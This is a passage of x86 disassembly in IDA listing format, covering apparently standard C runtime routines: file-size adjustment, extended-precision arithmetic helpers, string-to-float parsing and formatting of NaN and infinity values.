--------------------------------------------------------------------------- loc_4250FE: ; CODE XREF: sub_4250B2+30j cmp eax, 2 jnz short loc_42511D cmp esi, dword_43CE74 ja short loc_42511D mov eax, esi shr eax, 4 push eax call sub_41F50E mov edi, eax pop ecx test edi, edi jnz short loc_42515C loc_42511D: ; CODE XREF: sub_4250B2+3Bj ; sub_4250B2+4Aj ... push esi push 8 push dword_4DD384 call near ptr 27D0000h nop mov edi, eax test edi, edi jnz short loc_425156 loc_425132: ; CODE XREF: sub_4250B2+26j cmp dword_4DBE48, 0 jz short loc_425156 push esi call sub_41FBB2 test eax, eax pop ecx jz short loc_42515F jmp short loc_4250D3 ; --------------------------------------------------------------------------- loc_425148: ; CODE XREF: sub_4250B2+48j push [ebp+arg_0] loc_42514B: ; CODE XREF: sub_4250B2+ABj push 0 push edi call sub_41BF70 add esp, 0Ch loc_425156: ; CODE XREF: sub_4250B2+7Ej ; sub_4250B2+87j mov eax, edi loc_425158: ; CODE XREF: sub_4250B2+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42515C: ; CODE XREF: sub_4250B2+69j push esi jmp short loc_42514B ; --------------------------------------------------------------------------- loc_42515F: ; CODE XREF: sub_4250B2+92j xor eax, eax jmp short loc_425158 sub_4250B2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4241E3 loc_425163: ; CODE XREF: sub_4241E3+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DD020, esi jle short loc_4251B6 loc_425172: ; CODE XREF: sub_4241E3+FD1j mov eax, dword_4DC01C mov eax, [eax+esi*4] test eax, eax jz short loc_4251AD test byte ptr [eax+0Ch], 83h jz short loc_425191 push eax call sub_41BA3B cmp eax, 0FFFFFFFFh pop ecx jz short loc_425191 inc edi loc_425191: ; CODE XREF: sub_4241E3+F9Fj ; sub_4241E3+FABj cmp esi, 14h jl short loc_4251AD mov eax, dword_4DC01C push dword ptr [eax+esi*4] call sub_41BA91 mov eax, dword_4DC01C pop ecx and dword ptr [eax+esi*4], 0 loc_4251AD: ; CODE XREF: sub_4241E3+F99j ; sub_4241E3+FB1j inc esi cmp esi, dword_4DD020 jl short loc_425172 loc_4251B6: ; CODE XREF: sub_4241E3+F8Dj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4241E3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251BB proc near ; CODE XREF: sub_42423B+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41C500 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DD140 jnb loc_4252F0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_4252F0 push 1 push esi push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_4252FA push 2 push esi push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_4252FA push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_42529D push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41BF70 loc_425240: ; DATA XREF: ___:off_438CB8o push 8000h push ebx call sub_425D78 add esp, 14h mov [ebp+arg_4], eax loc_425251: ; CODE XREF: sub_4251BB+BDj mov eax, 1000h cmp edi, eax jge short loc_42525C mov eax, edi loc_42525C: ; CODE XREF: sub_4251BB+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_4230FB add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_42527A sub edi, eax test edi, edi jle short loc_425290 jmp short loc_425251 ; --------------------------------------------------------------------------- loc_42527A: ; CODE XREF: sub_4251BB+B5j cmp dword_4DBDE0, 5 jnz short loc_42528D mov dword_4DBDDC, 0Dh loc_42528D: ; CODE XREF: sub_4251BB+C6j or esi, 0FFFFFFFFh loc_425290: ; CODE XREF: sub_4251BB+BBj push [ebp+arg_4] push ebx call sub_425D78 pop ecx pop ecx jmp short loc_4252DD ; --------------------------------------------------------------------------- loc_42529D: ; CODE XREF: sub_4251BB+71j jge short loc_4252DD push 0 push [ebp+arg_4] push ebx call sub_422F09 push ebx call sub_4240AA add esp, 10h push eax nop call near ptr 25F0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_4252DD mov dword_4DBDDC, 0Dh nop call near ptr 26908B8h mov dword_4DBDE0, eax loc_4252DD: ; CODE XREF: sub_4251BB+E0j ; sub_4251BB:loc_42529Dj ... push 0 push [ebp+arg_0] push ebx call sub_422F09 add esp, 0Ch mov eax, esi pop edi jmp short loc_4252FD ; --------------------------------------------------------------------------- loc_4252F0: ; CODE XREF: sub_4251BB+1Aj ; sub_4251BB+36j mov dword_4DBDDC, 9 loc_4252FA: ; CODE XREF: sub_4251BB+4Ej ; sub_4251BB+63j or eax, 0FFFFFFFFh loc_4252FD: ; CODE XREF: sub_4251BB+133j pop esi pop ebx leave retn sub_4251BB endp ; =============== S U B R O U T I N E ======================================= sub_425301 proc near ; CODE XREF: sub_4249DF+2Bp ; sub_4249DF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425317 cmp ecx, esi jnb short loc_42531A loc_425317: ; CODE XREF: sub_425301+10j push 1 pop eax loc_42531A: ; CODE XREF: sub_425301+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425301 endp ; =============== S U B R O U T I N E ======================================= sub_425322 proc near ; CODE XREF: sub_4253DB+40p ; sub_4253DB+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425354 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425354 inc dword ptr [esi+8] loc_425354: ; CODE XREF: sub_425322+19j ; sub_425322+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425301 add esp, 0Ch test eax, eax jz short loc_42536C inc dword ptr [esi+8] loc_42536C: ; CODE XREF: sub_425322+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425301 add esp, 0Ch pop edi pop esi retn sub_425322 endp ; =============== S U B R O U T I N E ======================================= sub_425380 proc near ; CODE XREF: sub_4253DB+30p ; sub_4253DB+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_425380 endp ; =============== S U B R O U T I N E ======================================= sub_4253AE proc near ; CODE XREF: sub_425973+1C8p ; sub_425DEE+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4253AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4253DB proc near ; CODE XREF: sub_4254A2+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42544F push edi mov [ebp+arg_8], eax loc_425402: ; CODE XREF: sub_4253DB+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_425380 push ebx call sub_425380 lea eax, [ebp+var_10] push eax push ebx call sub_425322 push ebx call sub_425380 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425322 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425402 xor edx, edx pop edi loc_42544F: ; CODE XREF: sub_4253DB+21j ; sub_4253DB+9Fj cmp [ebx+8], edx jnz short loc_42547C mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42544F ; --------------------------------------------------------------------------- loc_42547C: ; CODE XREF: sub_4253DB+77j mov esi, 8000h loc_425481: ; CODE XREF: sub_4253DB+B9j test [ebx+8], esi jnz short loc_425496 push ebx call sub_425380 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_425481 ; --------------------------------------------------------------------------- loc_425496: ; CODE XREF: sub_4253DB+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_4253DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4254A2 proc near ; CODE XREF: sub_424D28+17p ; sub_424D55+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_4254DD: ; CODE XREF: sub_4254A2+52j mov cl, [edi] cmp cl, 20h jz short loc_4254F3 cmp cl, 9 jz short loc_4254F3 cmp cl, 0Ah jz short loc_4254F3 cmp cl, 0Dh jnz short loc_4254F6 loc_4254F3: ; CODE XREF: sub_4254A2+40j ; sub_4254A2+45j ... inc edi jmp short loc_4254DD ; --------------------------------------------------------------------------- loc_4254F6: ; CODE XREF: sub_4254A2+4Fj push 4 pop esi loc_4254F9: ; CODE XREF: sub_4254A2+AEj ; sub_4254A2+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_42577C ; default ; jumptable 00425505 case 10 jmp off_425943[eax*4] ; switch jump loc_42550C: ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 0 jl short loc_42551D cmp bl, 39h jg short loc_42551D loc_425516: ; CODE XREF: sub_4254A2+C4j ; sub_4254A2+118j push 3 jmp loc_42573A ; --------------------------------------------------------------------------- loc_42551D: ; CODE XREF: sub_4254A2+6Dj ; sub_4254A2+72j cmp bl, byte_43D088 jnz short loc_42552C loc_425525: ; CODE XREF: sub_4254A2+124j push 5 jmp loc_425772 ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4254A2+81j movsx eax, bl sub eax, 2Bh jz short loc_425552 dec eax dec eax jz short loc_425546 sub eax, 3 jnz loc_425815 jmp loc_4255D5 ; --------------------------------------------------------------------------- loc_425546: ; CODE XREF: sub_4254A2+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_4254F9 ; --------------------------------------------------------------------------- loc_425552: ; CODE XREF: sub_4254A2+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_4254F9 ; --------------------------------------------------------------------------- loc_42555B: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 1 mov [ebp+var_10], edx jl short loc_425568 cmp bl, 39h jle short loc_425516 loc_425568: ; CODE XREF: sub_4254A2+BFj cmp bl, byte_43D088 jz loc_425630 cmp bl, 2Bh jz short loc_4255AA cmp bl, 2Dh jz short loc_4255AA cmp bl, 30h jz short loc_4255D5 loc_425583: ; CODE XREF: sub_4254A2+207j cmp bl, 43h jle loc_425815 cmp bl, 45h jle short loc_4255A3 cmp bl, 63h jle loc_425815 cmp bl, 65h jg loc_425815 loc_4255A3: ; CODE XREF: sub_4254A2+EDj push 6 jmp loc_425772 ; --------------------------------------------------------------------------- loc_4255AA: ; CODE XREF: sub_4254A2+D5j ; sub_4254A2+DAj ... dec edi push 0Bh jmp loc_425772 ; --------------------------------------------------------------------------- loc_4255B2: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 2 jl short loc_4255C0 cmp bl, 39h jle loc_425516 loc_4255C0: ; CODE XREF: sub_4254A2+113j cmp bl, byte_43D088 jz loc_425525 cmp bl, 30h jnz loc_42578A loc_4255D5: ; CODE XREF: sub_4254A2+9Fj ; sub_4254A2+DFj mov eax, edx jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_4255DC: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_10], edx ; jumptable 00425505 case 3 loc_4255DF: ; CODE XREF: sub_4254A2+184j cmp dword_43D084, edx jle short loc_4255F8 movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_425606 ; --------------------------------------------------------------------------- loc_4255F8: ; CODE XREF: sub_4254A2+143j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425606: ; CODE XREF: sub_4254A2+154j test eax, eax jz short loc_425628 cmp [ebp+var_4], 19h jnb short loc_425620 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425623 ; --------------------------------------------------------------------------- loc_425620: ; CODE XREF: sub_4254A2+16Cj inc [ebp+var_8] loc_425623: ; CODE XREF: sub_4254A2+17Cj mov bl, [edi] inc edi jmp short loc_4255DF ; --------------------------------------------------------------------------- loc_425628: ; CODE XREF: sub_4254A2+166j cmp bl, byte_43D088 jnz short loc_425697 loc_425630: ; CODE XREF: sub_4254A2+CCj mov eax, esi jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425637: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp [ebp+var_4], 0 ; jumptable 00425505 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_425650 loc_425643: ; CODE XREF: sub_4254A2+1ACj cmp bl, 30h jnz short loc_425650 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425643 ; --------------------------------------------------------------------------- loc_425650: ; CODE XREF: sub_4254A2+19Fj ; sub_4254A2+1A4j ... cmp dword_43D084, edx jle short loc_425669 movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425669: ; CODE XREF: sub_4254A2+1B4j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425677: ; CODE XREF: sub_4254A2+1C5j test eax, eax jz short loc_425697 cmp [ebp+var_4], 19h jnb short loc_425692 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_425692: ; CODE XREF: sub_4254A2+1DDj mov bl, [edi] inc edi jmp short loc_425650 ; --------------------------------------------------------------------------- loc_425697: ; CODE XREF: sub_4254A2+18Cj ; sub_4254A2+1D7j cmp bl, 2Bh jz loc_4255AA cmp bl, 2Dh jz loc_4255AA jmp loc_425583 ; --------------------------------------------------------------------------- loc_4256AE: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp dword_43D084, edx ; jumptable 00425505 case 5 mov [ebp+var_24], edx jle short loc_4256CA movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_4256D8 ; --------------------------------------------------------------------------- loc_4256CA: ; CODE XREF: sub_4254A2+215j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4256D8: ; CODE XREF: sub_4254A2+226j test eax, eax jz loc_42578A mov eax, esi jmp short loc_42573B ; --------------------------------------------------------------------------- loc_4256E4: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o lea ecx, [edi-2] ; jumptable 00425505 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_4256F4 cmp bl, 39h jle short loc_425738 loc_4256F4: ; CODE XREF: sub_4254A2+24Bj movsx eax, bl sub eax, 2Bh jz short loc_425770 dec eax dec eax jz short loc_425764 sub eax, 3 jnz loc_425818 loc_425709: ; CODE XREF: sub_4254A2+2A4j push 8 jmp short loc_425772 ; --------------------------------------------------------------------------- loc_42570D: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_20], edx ; jumptable 00425505 case 8 loc_425710: ; CODE XREF: sub_4254A2+276j cmp bl, 30h jnz short loc_42571A mov bl, [edi] inc edi jmp short loc_425710 ; --------------------------------------------------------------------------- loc_42571A: ; CODE XREF: sub_4254A2+271j cmp bl, 31h jl loc_425815 cmp bl, 39h jg loc_425815 jmp short loc_425738 ; --------------------------------------------------------------------------- loc_42572E: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 7 jl short loc_425741 cmp bl, 39h jg short loc_425741 loc_425738: ; CODE XREF: sub_4254A2+250j ; sub_4254A2+28Aj push 9 loc_42573A: ; CODE XREF: sub_4254A2+76j pop eax loc_42573B: ; CODE XREF: sub_4254A2+240j dec edi jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425741: ; CODE XREF: sub_4254A2+28Fj ; sub_4254A2+294j cmp bl, 30h jnz short loc_42578A jmp short loc_425709 ; --------------------------------------------------------------------------- loc_425748: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp [ebp+arg_18], 0 ; jumptable 00425505 case 11 jz short loc_425778 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_425770 dec eax dec eax jnz loc_425818 loc_425764: ; CODE XREF: sub_4254A2+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425770: ; CODE XREF: sub_4254A2+258j ; sub_4254A2+2B8j push 7 loc_425772: ; CODE XREF: sub_4254A2+85j ; sub_4254A2+103j ... pop eax jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425778: ; CODE XREF: sub_4254A2+2AAj push 0Ah dec edi pop eax loc_42577C: ; CODE XREF: sub_4254A2+5Dj ; sub_4254A2+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425505 case 10 jz loc_42581A jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_42578A: ; CODE XREF: sub_4254A2+12Dj ; sub_4254A2+238j ... mov edi, [ebp+arg_8] jmp loc_42581A ; --------------------------------------------------------------------------- loc_425792: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_20], 1 ; jumptable 00425505 case 9 xor esi, esi loc_42579B: ; CODE XREF: sub_4254A2+339j cmp dword_43D084, 1 jle short loc_4257B3 movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_4257C2 ; --------------------------------------------------------------------------- loc_4257B3: ; CODE XREF: sub_4254A2+300j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4257C2: ; CODE XREF: sub_4254A2+30Fj test eax, eax jz short loc_4257E2 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_4257DD mov bl, [edi] inc edi jmp short loc_42579B ; --------------------------------------------------------------------------- loc_4257DD: ; CODE XREF: sub_4254A2+334j mov esi, 1451h loc_4257E2: ; CODE XREF: sub_4254A2+322j mov [ebp+var_1C], esi loc_4257E5: ; CODE XREF: sub_4254A2+371j cmp dword_43D084, 1 jle short loc_4257FD movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_42580C ; --------------------------------------------------------------------------- loc_4257FD: ; CODE XREF: sub_4254A2+34Aj mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42580C: ; CODE XREF: sub_4254A2+359j test eax, eax jz short loc_425815 mov bl, [edi] inc edi jmp short loc_4257E5 ; --------------------------------------------------------------------------- loc_425815: ; CODE XREF: sub_4254A2+99j ; sub_4254A2+E4j ... dec edi jmp short loc_42581A ; --------------------------------------------------------------------------- loc_425818: ; CODE XREF: sub_4254A2+261j ; sub_4254A2+2BCj mov edi, ecx loc_42581A: ; CODE XREF: sub_4254A2+2DDj ; sub_4254A2+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425902 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425846 cmp [ebp+var_45], 5 jl short loc_42583A inc [ebp+var_45] loc_42583A: ; CODE XREF: sub_4254A2+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425849 ; --------------------------------------------------------------------------- loc_425846: ; CODE XREF: sub_4254A2+38Dj mov eax, [ebp+var_C] loc_425849: ; CODE XREF: sub_4254A2+3A2j cmp [ebp+var_4], 0 jbe loc_4258F8 loc_425853: ; CODE XREF: sub_4254A2+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_425861 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_425853 ; --------------------------------------------------------------------------- loc_425861: ; CODE XREF: sub_4254A2+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_4253DB mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_425880 neg eax loc_425880: ; CODE XREF: sub_4254A2+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_42588B add eax, [ebp+arg_10] loc_42588B: ; CODE XREF: sub_4254A2+3E4j cmp [ebp+var_24], ecx jnz short loc_425893 sub eax, [ebp+arg_14] loc_425893: ; CODE XREF: sub_4254A2+3ECj cmp eax, 1450h jle short loc_4258CA mov [ebp+var_2C], 1 loc_4258A1: ; CODE XREF: sub_4254A2+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4258AD: ; CODE XREF: sub_4254A2+454j ; sub_4254A2+45Ej cmp [ebp+var_2C], 0 jz short loc_425913 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_4258CA: ; CODE XREF: sub_4254A2+3F6j cmp eax, 0FFFFEBB0h jge short loc_4258DA mov [ebp+var_30], 1 jmp short loc_4258A1 ; --------------------------------------------------------------------------- loc_4258DA: ; CODE XREF: sub_4254A2+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_42600E mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4258AD ; --------------------------------------------------------------------------- loc_4258F8: ; CODE XREF: sub_4254A2+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4258AD ; --------------------------------------------------------------------------- loc_425902: ; CODE XREF: sub_4254A2+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_425913: ; CODE XREF: sub_4254A2+40Fj cmp [ebp+var_30], 0 jz short loc_425928 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425928: ; CODE XREF: sub_4254A2+426j ; sub_4254A2+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4254A2 endp ; --------------------------------------------------------------------------- off_425943 dd offset loc_42550C ; DATA XREF: sub_4254A2+63r dd offset loc_42555B ; jump table for switch statement dd offset loc_4255B2 dd offset loc_4255DC dd offset loc_425637 dd offset loc_4256AE dd offset loc_4256E4 dd offset loc_42572E dd offset loc_42570D dd offset loc_425792 dd offset loc_42577C dd offset loc_425748 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425973 proc near ; CODE XREF: sub_424DF9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_4259D5 mov byte ptr [ebx+2], 2Dh jmp short loc_4259D9 ; --------------------------------------------------------------------------- loc_4259D5: ; CODE XREF: sub_425973+5Aj mov byte ptr [ebx+2], 20h loc_4259D9: ; CODE XREF: sub_425973+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_4259FF test edi, edi jnz short loc_4259FF cmp [ebp+arg_0], edi jnz short loc_4259FF loc_4259EA: ; CODE XREF: sub_425973+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_425BFD ; --------------------------------------------------------------------------- loc_4259FF: ; CODE XREF: sub_425973+6Cj ; sub_425973+70j ... cmp dx, si jnz short loc_425A7E mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425A18 cmp [ebp+arg_0], 0 jz short loc_425A27 loc_425A18: ; CODE XREF: sub_425973+9Dj test edi, 40000000h jnz short loc_425A27 push offset a1Snan ; "1#SNAN" jmp short loc_425A6D ; --------------------------------------------------------------------------- loc_425A27: ; CODE XREF: sub_425973+A3j ; sub_425973+ABj test cx, cx jz short loc_425A41 cmp edi, 0C0000000h jnz short loc_425A41 cmp [ebp+arg_0], 0 jnz short loc_425A68 push offset a1Ind ; "1#IND" jmp short loc_425A50 ; --------------------------------------------------------------------------- loc_425A41: ; CODE XREF: sub_425973+B7j ; sub_425973+BFj cmp edi, eax jnz short loc_425A68 cmp [ebp+arg_0], 0 jnz short loc_425A68 push offset a1Inf ; "1#INF" loc_425A50: ; CODE XREF: sub_425973+CCj lea eax, [ebx+4] push eax call sub_41C890 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_425A5F: ; CODE XREF: sub_425973+109j and [ebp+var_4], 0 jmp loc_425BD6 ; --------------------------------------------------------------------------- loc_425A68: ; CODE XREF: sub_425973+C5j ; sub_425973+D0j ... push offset a1Qnan ; "1#QNAN" loc_425A6D: ; CODE XREF: sub_425973+B2j lea eax, [ebx+4] push eax call sub_41C890 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_425A5F ; --------------------------------------------------------------------------- loc_425A7E: ; CODE XREF: sub_425973+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_42600E add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_425ADF lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425DEE pop ecx pop ecx loc_425ADF: ; CODE XREF: 